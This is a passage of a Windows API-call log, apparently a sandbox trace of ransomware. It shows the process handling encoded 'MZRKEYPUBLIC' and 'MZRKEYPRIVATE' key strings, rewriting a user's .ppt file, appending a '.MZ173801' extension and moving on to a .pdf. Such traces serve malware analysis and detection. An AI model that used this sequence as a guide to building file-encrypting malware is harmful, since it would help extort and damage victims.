nplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0169.643] GetCurrentThreadId () returned 0xab4 [0169.643] GetCurrentThreadId () returned 0xab4 [0169.643] GetCurrentThreadId () returned 0xab4 [0169.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.644] GetCurrentThreadId () returned 0xab4 [0169.644] GetCurrentThreadId () returned 0xab4 [0169.644] GetCurrentThreadId () returned 0xab4 [0169.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\djzV bn-yy2T_tgZWYuQ.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\djzv bn-yy2t_tgzwyuq.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0169.644] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0169.644] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0169.644] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x163d4 [0169.644] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0169.644] ReadFile (in: hFile=0x27c, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x163d4, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f480*=0x163d4, lpOverlapped=0x0) returned 1 [0169.645] CloseHandle (hObject=0x27c) returned 1 [0169.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\djzV bn-yy2T_tgZWYuQ.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\djzv bn-yy2t_tgzwyuq.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0169.648] WriteFile (in: hFile=0x27c, lpBuffer=0x24d0ed0*, nNumberOfBytesToWrite=0x163d4, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d0ed0*, lpNumberOfBytesWritten=0x19f48c*=0x163d4, lpOverlapped=0x0) returned 1 [0169.650] CloseHandle (hObject=0x27c) returned 1 [0169.650] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\djzV bn-yy2T_tgZWYuQ.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\djzv bn-yy2t_tgzwyuq.ppt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\djzV bn-yy2T_tgZWYuQ.ppt.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\djzv bn-yy2t_tgzwyuq.ppt.mz173801")) returned 1 [0169.651] GetCurrentThreadId () returned 0xab4 [0169.651] GetCurrentThreadId () returned 0xab4 [0169.651] GetCurrentThreadId () returned 0xab4 [0169.651] GetCurrentThreadId () returned 0xab4 [0169.651] GetCurrentThreadId () returned 0xab4 [0169.651] GetCurrentThreadId () returned 0xab4 [0169.651] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26753270, ftCreationTime.dwHighDateTime=0x1d5ea91, ftLastAccessTime.dwLowDateTime=0x90207c70, ftLastAccessTime.dwHighDateTime=0x1d5e28a, ftLastWriteTime.dwLowDateTime=0x90207c70, ftLastWriteTime.dwHighDateTime=0x1d5e28a, nFileSizeHigh=0x0, nFileSizeLow=0x12b41, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="pqWQRVWDuPxq3Gg.pdf", cAlternateFileName="PQWQRV~1.PDF")) returned 1 [0169.651] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0169.651] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0169.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\pqWQRVWDuPxq3Gg.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\pqwqrvwdupxq3gg.pdf"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26753270, ftCreationTime.dwHighDateTime=0x1d5ea91, ftLastAccessTime.dwLowDateTime=0x90207c70, ftLastAccessTime.dwHighDateTime=0x1d5e28a, ftLastWriteTime.dwLowDateTime=0x90207c70, ftLastWriteTime.dwHighDateTime=0x1d5e28a, nFileSizeHigh=0x0, nFileSizeLow=0x12b41)) returned 1 [0169.651] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\pqWQRVWDuPxq3Gg.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\pqwqrvwdupxq3gg.pdf")) returned 0x20 [0169.651] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\pqWQRVWDuPxq3Gg.pdf", dwFileAttributes=0x80) returned 1 [0169.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.654] GetCurrentThreadId () returned 0xab4 [0169.654] GetCurrentThreadId () returned 0xab4 [0169.654] GetCurrentThreadId () returned 0xab4 [0169.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 